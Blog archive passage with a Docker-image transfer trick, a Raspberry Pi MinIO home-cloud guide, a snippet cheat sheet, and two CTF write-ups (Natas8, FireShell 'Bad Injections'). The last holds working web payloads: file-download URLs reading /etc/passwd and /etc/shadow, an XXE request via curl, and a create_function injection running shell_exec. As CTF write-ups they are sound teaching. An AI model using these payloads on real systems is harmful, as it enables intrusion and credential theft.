Category Archives: Personal

Docker images are just TAR files!

Leave a reply

I have been using Mac OSX for development for half a decade now, I love the macbook pro design, the operating system and that everything works out of the box, but I’ve always struggled with the fact that once you got your mac you “cannot” upgrade its components, that is a problem if you are a distributed systems engineer and the projects you are working on increase in complexity (ie: adding new services), of course you can always rent a big machine on the cloud but sometimes you just don’t have an Internet connection.

Anyway this blog post it’s about how can you transfer docker images between docker registries on different machines, currently I’m using a 15 inches 2019 Macbook pro with 16GB of Ram and when I open a couple of Chrome windows, IntelliJ and run a couple of services everything start to run very slow. I need more power.

So a couple of weeks ago I got the Lenovo X1 Extreme Gen 2 with 6 cores and 64GB of Ram, powerful enough, this laptops come with Windows preinstalled and you can even play videogames on them, but the main goal was to leverage the resources to the Macbook pro and I was not planning on switching machines right now, I love Linux, I use it every day but I still think the Linux desktop experience isn’t great yet, so the first thing I did was to install PopOS https://pop.system76.com/ a distro based on Ubuntu.

In previous blog post I’ve explained how to enable SSH, add the public key of your clients to the authorized_keys file and create ssh configs in Linux box, you will need all of that https://www.alevsk.com/2020/03/build-your-own-private-cloud-at-home-with-a-raspberry-pi-minio/.

Once you have ssh access enabled, and docker installed with a couple lines of bash you can start transferring docker images between your machines.

Let’s say you have a docker image called minio/minio:edge in your local registry and want to use it in your remote machine (and you don’t want to use the docker public registry for that), first you will need to export the image as a TAR file:

[bash]
docker save -o /tmp/minio.tar minio/minio:edge
[/bash]

Next is transfer the file to the remote machine using scp.

[bash]
scp /tmp/minio.tar [email protected]:/tmp/minio.tar
[/bash]

Finally load that image in the remote docker registry via ssh.

[bash]
ssh [email protected] "docker load -i /tmp/minio.tar"
rm -rf /tmp/minio.tar
[/bash]

It’s a simple trick but it’s very useful and allowed me to have this dual laptop setup.

You can put all of this on a simple script, I called it dockerc.

[bash]
#!/bin/bash
set -x

if [ $# -eq 0 ]; then
echo "Usage: dockerc minio/minio:edge"
exit 1
fi

echo "Copying container: $1"

IMAGE_TAR_FILE="image.tar"

REMOTE_HOST=""
REMOTE_USER=""
REMOTE_PATH="/tmp/"

LOCAL_PATH="/tmp/"

ABS_REMOTE_IMAGE=$REMOTE_PATH$IMAGE_TAR_FILE
ABS_LOCAL_IMAGE=$LOCAL_PATH$IMAGE_TAR_FILE

docker save -o $LOCAL_PATH$IMAGE_TAR_FILE $1
scp $ABS_LOCAL_IMAGE [email protected]$REMOTE_HOST:$ABS_REMOTE_IMAGE
ssh [email protected]$REMOTE_HOST "docker load -i $ABS_REMOTE_IMAGE && rm -rf $ABS_REMOTE_IMAGE"
rm -rf $ABS_LOCAL_IMAGE
[/bash]

And just do.

[bash]
./dockerc minio/minio:edge
[/bash]

Bonus

If you wish to run more commands apart of docker load (in my case I’m using kubernetes kind) you just keep adding more after the &&, ie:

[bash]
docker load -i $ABS_REMOTE_IMAGE && kind load docker-image $1 && rm -rf $ABS_REMOTE_IMAGE
[/bash]

Happy Hacking 🙂

Build your own private cloud at home with a Raspberry Pi + Minio

2 Replies

Early this year I got one of those widescreen 5k monitors so I could work from home, the display is so cool but the sad thing is it only comes with 2 USB ports. I have a wired mouse and keyboard so when I wanted to connect an external hard drive for copying and backing up files it was always a pain in the neck.

I remembered I have an old Raspberry PI2 I brought with me from México so last weekend I decided to work on a small personal project for solving this issue once and for all, I finished it and it’s working very well so I thought on writing a blogpost about it so more people can build its own private cloud at home too.

Install Raspbian

The first thing was to install a fresh version of raspbian into the raspberry pi, I got it from https://www.raspberrypi.org/downloads/raspbian/, I wanted something minimal so I got the Raspbian Buster Lite image, this version of raspbian doesn’t come with a graphical interface but it’s fine because ssh it’s all what we need.

Insert the SD card into your machine, I’m using a macbook pro so I have to use an adapter, once the card is there you can verify using the df command, tip: you can easily identify your SD card by the size reported by df -h.

[bash]
df -h

Filesystem Size Used Avail Capacity iused ifree %iused Mounted on
/dev/disk1s5 466Gi 10Gi 246Gi 5% 487549 4881965331 0% /
devfs 338Ki 338Ki 0Bi 100% 1170 0 100% /dev
…
..
/dev/disk2s1 <————- my SD card
[/bash]

Before copying the image first you need to unmount the device using sudo umount /dev/disk2s1 after that you can use the dd command.

[bash]
sudo dd bs=1m if=./2020-02-13-raspbian-buster-lite.img of=/dev/disk2s1
[/bash]

Optionally you can do all this process in a more friendly way by installing Raspberry Pi imager tool https://www.raspberrypi.org/downloads/, you need to insert your sd card, choose the os, choose the sd card and the click the write button.

Once you have your fresh version of Raspbian installed it’s time to verify the Raspberry is working, the easiest way to do that is to connect a monitor and keyboard to it, so I did it.

When you connect the raspberry to the power the green led should start flashing, if that doesn’t happen is probably a sign of a corrupted EEPROM and you should look at the Recovery section of https://www.raspberrypi.org/downloads/.

Access the Raspberry Pi remotely

Alright, if you get to this point means your raspberry is fine, next step is to connect it to your network, I connected mine to my switch using an ethernet cable, before ssh into the raspberry first we need to get its IP, there are multiple ways to get the IP address assigned to your raspberry, I used nmap https://nmap.org/ to quickly scan my local network for new devices.

[bash]
nmap -sP 192.168.86.0/24

Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-29 19:55 PDT
Nmap scan report for testwifi.here (192.168.86.1)
…
..
Nmap scan report for raspberrypi (192.168.86.84)
Host is up (0.0082s latency).
…
..
Nmap done: 256 IP addresses (10 hosts up) scanned in 2.55 seconds
[/bash]

Ok from now on I’m going to start referring to the raspberry as nstorage (network storage), on my local machine I added a new entry to /etc/hosts with this information.

[bash]
# Minio running in raspberry pi in home network
192.168.86.84 nstorage
192.168.86.84 raspberry
[/bash]

I also added a new entry on ~/.ssh/config so it is easier to connect via ssh.

[bash]
Host nstorage
User pi
Hostname nstorage
Port 22
ServerAliveInterval 120
ServerAliveCountMax 30
[/bash]

You can type on your terminal ssh nstorage, and login using the default credentials: pi / raspberry.

[bash]
ssh nstorage

Linux raspberrypi 4.19.97-v7+ #1294 SMP Thu Jan 30 13:15:58 GMT 2020 armv7l

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Mar 30 03:27:49 2020 from 192.168.86.64
[email protected]:~ $
[/bash]

First thing you should do is change the default password using the passwd command http://man7.org/linux/man-pages/man1/passwd.1.html.

One thing I always like to do is to add the public ssh key of my machine (my macbook pro) to the list of authorized_keys on the remote server (nstorage), you can do this by copying your public key: cat ~/.ssh/id_rsa.pub | pbcopy and then in nstorage in the /home/pi/.ssh/authorized_keys (create the file if it doesn’t exist) file append the key to the end.

[bash]
[email protected]:~/.ssh $ cat authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvxqCsC2RWVfWfix/KT1R8eZ9zN5SXoZ8xV8eCsk47AZUkZKBdCLxp0arhS2/+WpjRAFuR4+XgmnWlu/rQYzWGaqv/sm5420zaF6fpOaeFXEuLGVP7Nb4e1oPR1tNbzZ7OLJs1FVZIk8rBeTfLh2+UMU8Lut+rKtd9FbW4LdTimscg8ufeFZ1bKWTPih4+o3kYEdSFpMz0ntKDqKA7g3Kvq6PbhUxcICA/KrJbjxTjuOelfqsfTz7xrJW/sII5QETTqL93ny7DlPdVdM2Qw6C/1NZ1hV7ZgpihFlD+XKhdqdugG9DgjzgKvdNx63idswCRJKmdxHZN+oM33+bASHMT [email protected]
[/bash]

That way next time you ssh into nstorage (the raspberry) the login process will be automatic.

Install Minio

You are on a fresh raspbian system, first thing you should do is update the existing software.

[bash]
sudo apt-get update
sudo apt-get upgrade
[/bash]

After that lets download the minio server and the minio client, we also create symbolic links for both binaries.

[bash]
wget https://dl.minio.io/server/minio/release/linux-arm/minio
wget https://dl.minio.io/client/mc/release/linux-arm/mc
sudo ln -s /home/pi/minio /usr/bin/minio
sudo ln -s /home/pi/mc /usr/bin/mc
[/bash]

At this point you can start a simple minio server with:

[bash]
[email protected]:~ $ mkdir ~/data
[email protected]:~ $ minio server ~/data
Endpoint: https://192.168.86.84:9000 https://127.0.0.1:9000
AccessKey: minioadmin
SecretKey: minioadmin

Browser Access:
https://192.168.86.84:9000 https://127.0.0.1:9000

Command-line Access: https://docs.min.io/docs/minio-client-quickstart-guide
$ mc config host add myminio https://192.168.86.84:9000 minioadmin minioadmin

Object API (Amazon S3 compatible):
Go: https://docs.min.io/docs/golang-client-quickstart-guide
Java: https://docs.min.io/docs/java-client-quickstart-guide
Python: https://docs.min.io/docs/python-client-quickstart-guide
JavaScript: https://docs.min.io/docs/javascript-client-quickstart-guide
.NET: https://docs.min.io/docs/dotnet-client-quickstart-guide

Detected default credentials ‘minioadmin:minioadmin’, please change the credentials immediately using ‘MINIO_ACCESS_KEY’ and ‘MINIO_SECRET_KEY’
[/bash]

In your local machine go to http://nstorage:9000/minio and you will see the following screen.

We are almost there, you have a minio server running in your raspberry pi, you can start uploading files and creating buckets if you want, but first let’s add some security.

Securing your Minio

Right now all the traffic between you and nstorage (your minio server) is unencrypted, let’s fix that quickly, I used mkcert https://github.com/FiloSottile/mkcert by Filippo Valsorda for quickly generate certificates signed by a custom certificate authority, sounds scary but is actually quite simple.

In the raspberry we are going to create the following folders to hold the certificates.

[bash]
mkdir ~/.minio/certs/CAs
mkdir ~/.mc/certs/CAs
[/bash]

In your local machine we generate and push the certificates to the raspberry, dont forget to also push the public key of your local certificate authority created by mkert under /Users/$USER/Library/Application Support/mkcert/rootCA.pem.

[bash]
$ mkcert nstorage
Using the local CA at "/Users/alevsk/Library/Application Support/mkcert" ✨

Created a new certificate valid for the following names 📜
– "nstorage"

The certificate is at "./nstorage.pem" and the key at "./nstorage-key.pem" ✅

$ ls nstorage*
nstorage-key.pem nstorage.pem
$ scp ./nstorage* [email protected]:~/.minio/certs
$ scp ./rootCA.pem [email protected]:~/.minio/certs/CAs
$ scp ./rootCA.pem [email protected]:~/.mc/certs/CAs
[/bash]

That’s it, you have now a secure connection with your Minio, if you go to your browser you can HTTPS this time.

Nstorage certificate is valid and trusted by your system because was generated by your local certificate authority, every device that wants to access this server need to trust the CA as well, otherwise it will get a trust error.

Mount external drive

Alright, so far you have a secure Minio running on the raspberry pi, in my case I used a 16GB SD card, which was not enough for storing all my data and the whole point was to access my external drive files remotely, so let’s do that now. But first instead of start Minio manually let’s create a bash script and change the default credentials.

Create a new file using vim or your editor of choice: vim start.sh

[bash]
#!/bin/bash

export MINIO_ACCESS_KEY=SuperSecretAccessKey
export MINIO_SECRET_KEY=SuperSecretSecretKey
export MINIO_DOMAIN=nstorage
export MINIO_DISK_USAGE_CRAWL=off

minio server ~/data
[/bash]

Save the above lines and then give execution permissions to the script: chmod +x start.sh
Now you can start your Minio running ./start.sh

[bash]
[email protected]:~ $ ./start.sh
Endpoint: https://192.168.86.84:9000 https://127.0.0.1:9000
AccessKey: SuperSecretAccessKey
SecretKey: SuperSecretSecretKey

Browser Access:
https://192.168.86.84:9000 https://127.0.0.1:9000

Command-line Access: https://docs.min.io/docs/minio-client-quickstart-guide
$ mc config host add myminio https://192.168.86.84:9000 SuperSecretAccessKey SuperSecretSecretKey

Object API (Amazon S3 compatible):
Go: https://docs.min.io/docs/golang-client-quickstart-guide
Java: https://docs.min.io/docs/java-client-quickstart-guide
Python: https://docs.min.io/docs/python-client-quickstart-guide
JavaScript: https://docs.min.io/docs/javascript-client-quickstart-guide
.NET: https://docs.min.io/docs/dotnet-client-quickstart-guide
[/bash]

Now connect your external hard drive to one of the USB ports, I had some issues while doing this, Raspbian was not listing the device under /dev so make sure to increase the USB ports power via configuration in /boot/config.txt, add max_usb_current=1 to the end of the file.

[bash]
[email protected]:~ $ cat /boot/config.txt
# For more options and information see
# http://rpf.io/configtxt
# Some settings may impact device functionality. See link above for details
…
..
# Increase power available to USB ports
max_usb_current=1
[/bash]

Reboot the raspberry and plug your drive again, if everything went right you should be able to see your external drive using fdisk.

[bash]
$ sudo fdisk -l
Disk /dev/sda: 4.6 TiB, 5000981077504 bytes, 9767541167 sectors
Disk model: Expansion Desk
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 4096 bytes
I/O size (minimum/optimal): 4096 bytes / 4096 bytes
Disklabel type: gpt
Disk identifier: 24A09C07-313E-43B6-A811-FAF09DAB962C

Device Start End Sectors Size Type
/dev/sda1 34 262177 262144 128M Microsoft reserved
/dev/sda2 264192 9767540735 9767276544 4.6T Microsoft basic data
[/bash]

You can mount the device using the mount command https://linux.die.net/man/8/mount.

[bash]
[email protected]:~ $ sudo mount -t ntfs /dev/sda2 /home/pi/data
[email protected]:~ $ ls -la data
total 9032
drwxrwxrwx 1 root root 8192 Mar 30 08:19 .
drwxr-xr-x 9 pi pi 4096 Mar 30 08:27 ..
drwxrwxrwx 1 root root 65536 Mar 26 22:53 anime
drwxrwxrwx 1 root root 20480 May 5 2019 anime_movies
drwxrwxrwx 1 root root 0 Jan 4 2019 backup
drwxrwxrwx 1 root root 4096 Jan 4 2019 books
drwxrwxrwx 1 root root 4096 Jan 4 2019 dev
drwxrwxrwx 1 root root 16384 Feb 12 2017 documents
drwxrwxrwx 1 root root 0 Feb 6 2017 download
drwxrwxrwx 1 root root 12288 Feb 12 2017 games
drwxrwxrwx 1 root root 4096 Jan 4 2019 images
drwxrwxrwx 1 root root 4096 Feb 10 2017 manga
drwxrwxrwx 1 root root 4096 Mar 29 07:48 .minio.sys
drwxrwxrwx 1 root root 65536 Mar 30 01:41 movies
drwxrwxrwx 1 root root 0 Jan 4 2019 music
drwxrwxrwx 1 root root 0 Feb 6 2017 pentest
drwxrwxrwx 1 root root 12288 Jun 2 2019 series
drwxrwxrwx 1 root root 4096 Jun 2 2019 software
drwxrwxrwx 1 root root 0 Jan 25 20:51 .Trashes
drwxrwxrwx 1 root root 0 Jun 21 2019 videos
[email protected]:~ $
[/bash]

Restart your minio server and this time when you go to the browser you will see all your files there.

You can list all the files and buckets using the minio client (mc) from your local machine or using the mc binary inside the nstorage raspberry.

[bash]
$ mc config host add nstorage https://nstorage:9000 SuperSecretAccessKey SuperSecretSecretKey
$ mc ls nstorage

[2020-03-26 15:53:09 PDT] 0B anime/
[2019-05-04 18:25:59 PDT] 0B anime_movies/
[2019-01-03 23:00:08 PST] 0B backup/
[2019-01-03 23:04:29 PST] 0B books/
[2019-01-03 23:48:04 PST] 0B dev/
[2017-02-11 17:09:28 PST] 0B documents/
[2017-02-05 16:45:21 PST] 0B download/
[2017-02-11 16:03:31 PST] 0B games/
[2019-01-03 23:06:48 PST] 0B images/
[2017-02-10 11:50:31 PST] 0B manga/
[2020-03-29 17:41:41 PDT] 0B movies/
[2019-01-03 22:48:15 PST] 0B music/
[2017-02-05 22:14:30 PST] 0B pentest/
[2019-06-02 14:33:34 PDT] 0B series/
[2019-06-01 21:29:46 PDT] 0B software/
[2019-06-20 20:20:56 PDT] 0B videos/
[/bash]

You can download every file you want, upload files and also stream media. Go to your Minio browser and select any video you like, click on the “3 dots” icon on the right and click the share icon.

Minio will generate a pre-signed URL that you can use on VLC, click on File > Open Network and paste the video URL.

Click the open button and enjoy your videos.

Everything is great so far, you are able to access all your files from any device in your network but if your raspberry loses power and reboot you will need to mount the external drive and start the Minio server manually again so let’s automate that.

Mount the external drive with fstab

On linux by default every drive listed in /etc/fstab will be mounted on startup, there are many ways to mount drives but the recommended way is using UUID or PARTUUID instead of the name.

[bash]
[email protected]:~ $ sudo blkid
…
…
…
/dev/sda2: LABEL="Arael" UUID="62F048D0F048AC5B" TYPE="ntfs" PTTYPE="atari" PARTLABEL="Basic data partition" PARTUUID="5206da84-ded1-43b6-abf2-14b5950c4d7c"
[/bash]

Locate the PARTUUID of your own drive, mine was 5206da84-ded1-43b6-abf2-14b5950c4d7c, and then add it at the end of your /etc/fstab file.

[bash]
$ cat /etc/fstab

proc /proc proc defaults 0 0
PARTUUID=738a4d67-01 /boot vfat defaults 0 2
PARTUUID=738a4d67-02 / ext4 defaults,noatime 0 1
# a swapfile is not a swap partition, no line here
# use dphys-swapfile swap[on|off] for that
PARTUUID=5206da84-ded1-43b6-abf2-14b5950c4d7c /home/pi/data ntfs defaults,errors=remount-ro 0 1
[/bash]

Reboot your raspberry and verify your drive was mounted automatically under /home/pi/data.

Start the Minio server with systemctl

Finally, the last piece of the puzzle is to make minio to start automatically, again, there’s many ways to do this but in this tutorial we will do it with init system or systemctl, let’s create a file called minio.service with the following content.

[bash]
[Unit]

Description=Minio Storage Service

After=network-online.target home-pi-data.mount

[Service]

ExecStart=/home/pi/start.sh

WorkingDirectory=/home/pi

StandardOutput=inherit

StandardError=inherit

Restart=always

User=pi

[Install]

WantedBy=multi-user.target
[/bash]

ExecStart points to the start.sh bash script, After directive will tell the Minio server to wait until the network service is online and the /dev/sda2 drive is mounted by fstab, home-pi-data.mount is a systemd mount unit you can get using the systemctl list-units command.

[bash]
$ systemctl list-units | grep ‘/home/pi/data’ | awk ‘{ print $1 }’
home-pi-data.mount
[/bash]

Copy the file to the /etc/systemd/system directory.

[bash]
cp ./minio.service /etc/systemd/system/minio.service
[/bash]

Start minio as a systemd service using the start command and verify is running with the status command.

[bash]
[email protected]:~ $ sudo systemctl start minio
[email protected]:~ $ sudo systemctl status minio
● minio.service – Minio Storage Service
Loaded: loaded (/etc/systemd/system/minio.service; enabled; vendor preset: enabled)
Active: active (running) since Mon 2020-03-30 10:12:22 BST; 4s ago
Main PID: 1453 (start.sh)
Tasks: 16 (limit: 2200)
Memory: 156.2M
CGroup: /system.slice/minio.service
├─1453 /bin/bash /home/pi/start.sh
└─1456 minio server /home/pi/data

Mar 30 10:12:22 raspberrypi systemd[1]: Started Minio Storage Service.
[/bash]

If everything looks fine, enable the service, Minio will start automatically every time your Raspberry pi boot.

[bash]
sudo systemctl enable minio
[/bash]

Reboot your raspberry pi one last time and verify everything is working as expected, if you are able to see the minio browser at https://nstorage:9000/minio without you having to do anything congratulations you now have your own private cloud at home powered by Minio :).

Happy hacking.

Commands and Code Snippets I usually forget

Leave a reply

Some commands and code snippets I use rarely during CTFs or my daily work, but still I need them from time to time and I’m very lazy to remember them. This note may grow over time.

Javascript

Playing with dec, hexa and bin (not really) in JS

[javascript]
String.fromCharCode(0x41) // ‘A’

parseInt(‘0xf’, 16) // 15

var n = 15

n.toString(16) // ‘f’
n.toString(2) // ‘1111’
n.toString() // ’15’

var n = ‘A’
n.charCodeAt() // 65
// dec to hex
n.charCodeAt().toString(16) // ’41’
// dec to bin
n.charCodeAt().toString(2) // ‘1000001’
// dec to hex
parseInt(255).toString(16) // ‘ff’
// dec to bin
parseInt(5).toString(2) // ‘101’
[/javascript]

Simple HTTP GET request using nodejs

[javascript]
const https = require(‘https’);

https.get(‘https://www.alevsk.com’, (resp) => {
let data = ”;
resp.on(‘data’, (chunk) => {
data += chunk;
});
resp.on(‘end’, () => {
//DO something with data
});
}).on("error", (err) => {
console.log("Error: " + err.message);
});
[/javascript]

Simple HTTP POST request using nodejs

[javascript]
const https = require(‘https’)

const data = JSON.stringify({
todo: ‘Buy the milk’
})

const options = {
hostname: ‘whatever.com’,
port: 443,
path: ‘/todos’,
method: ‘POST’,
headers: {
‘Content-Type’: ‘application/json’,
‘Content-Length’: data.length
}
}

const req = https.request(options, res => {
res.on(‘data’, d => {
process.stdout.write(d)
})
})

req.on(‘error’, error => {
console.error(error)
})

req.write(data)

req.end()
[/javascript]

Extract content between regular expression patterns using JS

[javascript]
const message = data.match(/<p>([^<]+)<\/p>/)[1];
const lat = data.match(/name="lat" value="([^<]+)" min=/)[1];
const long = data.match(/name="lon" value="([^<]+)" min=/)[1];
const token = data.match(/name="token" value="([^<]+)"/)[1];
[/javascript]

Linux

Mount NTFS on Linux

[bash]
mount -t ntfs [FILE] [PATH]
mount -t type device directory
[/bash]

Extract extended attributes from NTFS disk

[bash]
getfattr –only-values [FILE] -n [ATTR-NAME] > file
[/bash]

Parsing file with awk and run xargs

[bash]
cat [FILE] | awk ‘{print $1 .. $n}’ | xargs
[/bash]

Python

Start Simple HTTP server with Python

[bash]
python -m SimpleHTTPServer
[/bash]

Inline Python commands

[bash]
python -c ‘print "\x41" * 20’
[/bash]

PHP

Run PHP interactive mode

[bash]
php -a
[/bash]

CTF OverTheWire: Natas8

Leave a reply

After a break we continue with the CTF Natas series, now is the turn for natas8

[bash]
Natas Level 7 → Level 8
Username: natas8
URL: http://natas8.natas.labs.overthewire.org
[/bash]

Using the flag obtained in the previous challenge, we go to the URL showed in the description and we will see the following screen.

It’s just a simple web page with a basic input form, if we type nonsense we get an error message displaying Wrong secret, we proceed to click the the View sourcecode

[php]
<html>
<head>
<!– This stuff in the header has nothing to do with the level –>
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas8", "pass": "<censored>" };</script></head>
<body>
<h1>natas8</h1>
<div id="content">

<?

$encodedSecret = "3d3d516343746d4d6d6c315669563362";

function encodeSecret($secret) {
return bin2hex(strrev(base64_encode($secret)));
}

if(array_key_exists("submit", $_POST)) {
if(encodeSecret($_POST[‘secret’]) == $encodedSecret) {
print "Access granted. The password for natas9 is <censored>";
} else {
print "Wrong secret";
}
}
?>

<form method=post>
Input secret: <input name=secret><br>
<input type=submit name=submit>
</form>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
[/php]

This is supposed to be the backend code of the HTML page we just saw, the important part of this challenge is in the PHP code functions, taking a quick look the data flow looks like this:

  • Check if submit key exists on $_POST
  • Pass $_POST[‘secret’] to encodeSecret function
  • encodeSecret function will apply some transformation to the secret and return it
  • The transformed secret must be equal to 3d3d516343746d4d6d6c315669563362, otherwise we are getting the Wrong secret error we saw already

As I say before, the important part is happening inside the encodeSecret function, the code is basically doing this:

secret -> base64_encode -> strrev -> bin2hex -> 3d3d516343746d4d6d6c315669563362

So we need to perform exactly the same operations but in reverse order to obtain the original secret, ie: the old bin2hex should be hex2bin, I don’t know if we should call this reverse engineering, anyway ¯\_(ツ)_/¯

3d3d516343746d4d6d6c315669563362 -> hex2bin -> strrev -> base64_encode -> secret

We can use PHP from the command line and do this:

[bash]
$ php -r "echo base64_decode(strrev(hex2bin(‘3d3d516343746d4d6d6c315669563362’)));"
oubWYf2kBq
$
[/bash]

We get the secret: oubWYf2kBq, we try it on the input form.

The flag for the next level, natas9, is: W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl

In this challenge we take advantage of a security vulnerability called Source code disclosure and then we did basic reverse engineering on the PHP code.

Happy hacking 🙂

FireShell CTF 2019 – Bad Injections (WEB)

Leave a reply

Hi everybody, this is the first CTF I play this year, it was organized by the FireShell Security team (thank you so much guys!) and this the writeup for the Bad Injection challenge from the web category.

This challenge was special because I played with some folks from work, special thanks to yovasx2 for playing this CTF with me 🙂

The challenge starts by giving us an IP address running a web server on the Internet:
http://68.183.31.62:94

There is nothing interesting in the website besides a section called List, this section displays an image with an interesting URL.

[html] <div class=’ui center aligned container’> <img src="download?file=files/1.jpg&hash=7e2becd243552b441738ebc6f2d84297" height="500"/> <img src="download?file=files/test.txt&hash=293d05cb2ced82858519bdec71a0354b" height="50t0"/> </div> [/html]

The resources are loaded using some kind of downloading script, the download script receives two parameters, file and hash, the hash corresponds to the hashed version of the value of the file parameter.

This looks like a code disclosure vulnerability so we start by trying to download the index.php file:

[bash] http://68.183.31.62:94/download?file=index.php&hash=828e0013b8f3bc1bb22b4f57172b019d [/bash] And the result is: [php] ini_set(‘display_errors’,1); ini_set(‘display_startup_erros’,1); error_reporting(E_ALL); require_once(‘Routes.php’); function __autoload($class_name){ if(file_exists(‘./classes/’.$class_name.’.php’)){ require_once ‘./classes/’.$class_name.’.php’; }else if(file_exists(‘./Controllers/’.$class_name.’.php’)){ require_once ‘./Controllers/’.$class_name.’.php’; } } [/php]

In the above code we notice two things, the location in the server were the application “lives” and also the existence of the Routes.php file, we proceed to download the file.

[bash] http://68.183.31.62:94/download?file=/app/Routes.php&hash=b1146e09263e0aae856ff66a57968211 [/bash] The Routes.php file is huge but there are two route functions that seems interesting [php] Route::set(‘custom’,function(){ $handler = fopen(‘php://input’,’r’); $data = stream_get_contents($handler); if(strlen($data) > 1){ Custom::Test($data); }else{ Custom::createView(‘Custom’); } }); Route::set(‘admin’,function(){ if(!isset($_REQUEST[‘rss’]) && !isset($_REQUES[‘order’])){ Admin::createView(‘Admin’); }else{ if($_SERVER[‘REMOTE_ADDR’] == ‘127.0.0.1’ || $_SERVER[‘REMOTE_ADDR’] == ‘::1’){ Admin::sort($_REQUEST[‘rss’],$_REQUEST[‘order’]); }else{ echo ";("; } } }); [/php]

The custom route receives some request body and if the length is greater that 1 calls the Test function from the Custom class.

The admin route can receive two parameters, rss and order, if both exists then a validation happens, the validation checks if the request comes directly from 127.0.0.1 which is localhost, if this is true then the sort function from the Admin class is called.

Here are some other Interesting files I downloaded based on what we learned from the index.php file.

[bash] http://68.183.31.62:94/download?file=/app/Controllers/Custom.php&hash=55fdef99c788af643d2676ac21ada5f4 http://68.183.31.62:94/download?file=/app/Controllers/Admin.php&hash=42c58ba0a247b5c76bce27387e90b99f http://68.183.31.62:94/download?file=/etc/passwd&hash=c5068b7c2b1707f8939b283a2758a691 http://68.183.31.62:94/download?file=/etc/shadow&hash=2fe8599cb25a0c790213d39b3be97c27 http://68.183.31.62:94/download?file=/app/Routes.php&hash=b1146e09263e0aae856ff66a57968211 [/bash]

We start looking at the Custom.php and Admin.php controllers, the Custom class looks like this.

[php] class Custom extends Controller{ public static function Test($string){ $root = simplexml_load_string($string,’SimpleXMLElement’,LIBXML_NOENT); $test = $root->name; echo $test; } } [/php]

The Test method receives an string which then is parsed as an XML, the resulting object should contain a name attribute that is printed back to the user. The Admin class looks like this.

[php]class Admin extends Controller{ public static function sort($url,$order){ $uri = parse_url($url); $file = file_get_contents($url); $dom = new DOMDocument(); $dom->loadXML($file,LIBXML_NOENT | LIBXML_DTDLOAD); $xml = simplexml_import_dom($dom); if($xml){ //echo count($xml->channel->item); //var_dump($xml->channel->item->link); $data = []; for($i=0;$i<count($xml->channel->item);$i++){ //echo $uri[‘scheme’].$uri[‘host’].$xml->channel->item[$i]->link."\n"; $data[] = new Url($i,$uri[‘scheme’].’://’.$uri[‘host’].$xml->channel->item[$i]->link); //$data[$i] = $uri[‘scheme’].$uri[‘host’].$xml->channel->item[$i]->link; } //var_dump($data); usort($data, create_function(‘$a, $b’, ‘return strcmp($a->’.$order.’,$b->’.$order.’);’)); echo ‘<div class="ui list">’; foreach($data as $dt) { $html = ‘<div class="item">’; $html .= ”.$dt->id.’ – ‘; $html .= ‘ <a href="’.$dt->link.’">’.$dt->link.'</a>’; $html .= ‘</div>’; } $html .= "</div>"; echo $html; }else{ $html .= "Error, not found XML file!"; $html .= "<code>"; $html .= "<pre>"; $html .= $file; $html .= "</pre>"; $hmlt .= "</code>"; echo $html; } } }[/php]

That it’s! the sort function uses the create_function method internally, the create_function method is very similar to the eval method, meaning if we can reach that part of the code, essentially we we can achieve code execution on the server 🙂 now the problem is how to do that since this function can only be called if the request is coming from localhost.

Remember the Test function accessible via the /custom path? that’s our way in! this function receives some input and then parse it as XML, we can take advantage of this vulnerable parser and exploit a vulnerability called XML External Entity (XXE) Processing which essentially allow us to load remote (or internal) resources.

I’ll explain this in the following example, on a command line we start by defining some variables so it’s more easy to work.

[bash] $ url=’http://68.183.31.62:94/custom’ $ xml_content='<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY test SYSTEM "php://filter/convert.base64-encode/resource=https://www.alevsk.com">]><root><name>&test;</name></root>’ $ curl –request POST –url "$url" –header ‘cache-control: no-cache’ –header ‘content-type: application/xml’ –data "$xml_content" | base64 -d [/bash]

In the second line we are defining our XML payload, we are try to load an external resource inside the DOCTYPE tag and we are saving the response on a “variable” called test (wrapped by root and name tags), then we are doing a post request to the vulnerable service, if you are wondering why do we need &test that’s because our payload will be handled by:

[php] $root = simplexml_load_string($string,’SimpleXMLElement’,LIBXML_NOENT); $test = $root->name; echo $test; [/php]

The simplexml_load_string is going to process our input and then return an object, that object is expected to have a name attribute which is stored in the $test variable and then printed to the user, we are essentially using this vulnerable service as a proxy 🙂

Now, instead of querying https://www.alevsk.com we are going to do a request to http://68.183.31.62:94/admin?rss=SOME_URL&order=PAYLOAD and since the IP address of the server is the same IP of the client making the request (localhost) boom! we just bypass the admin validation and now can reach the vulnerable sort function in the Admin controller.

Exploiting the create_function call was a little bit tricky at the beginning, it required some work crafting the PHP payload in a way the final result was valid php code without any syntactic error.

According to the PHP documentation, this function receives two string parameters, the first one is the parameters and the second one is the actual code of the function we want to generate.

The sort function receives two parameters, $url and $order, we control both of them but the important one is $order because it’s going to be replaced in the string of the second parameter of the create_function function.

After some thinking I came with this idea, I’ll explain why.

[bash] $order = id, null) && die(shell_exec(‘ls -la /’)); ($aaa=" [/bash]

The original piece of code looks like this.

[php] usort($data, create_function(‘$a, $b’, ‘return strcmp($a->’.$order.’,$b->’.$order.’);’)); [/php]

When I replace the $order variable with my payload the final code looks like this.

[php] usort($data, create_function(‘$a, $b’, ‘return strcmp($a->id, null) && die(shell_exec(\’ls -la /\’)); ($aaa=",$b->id, null) && die(shell_exec(\’ls -la /\’)); ($aaa=");’)); [/php]

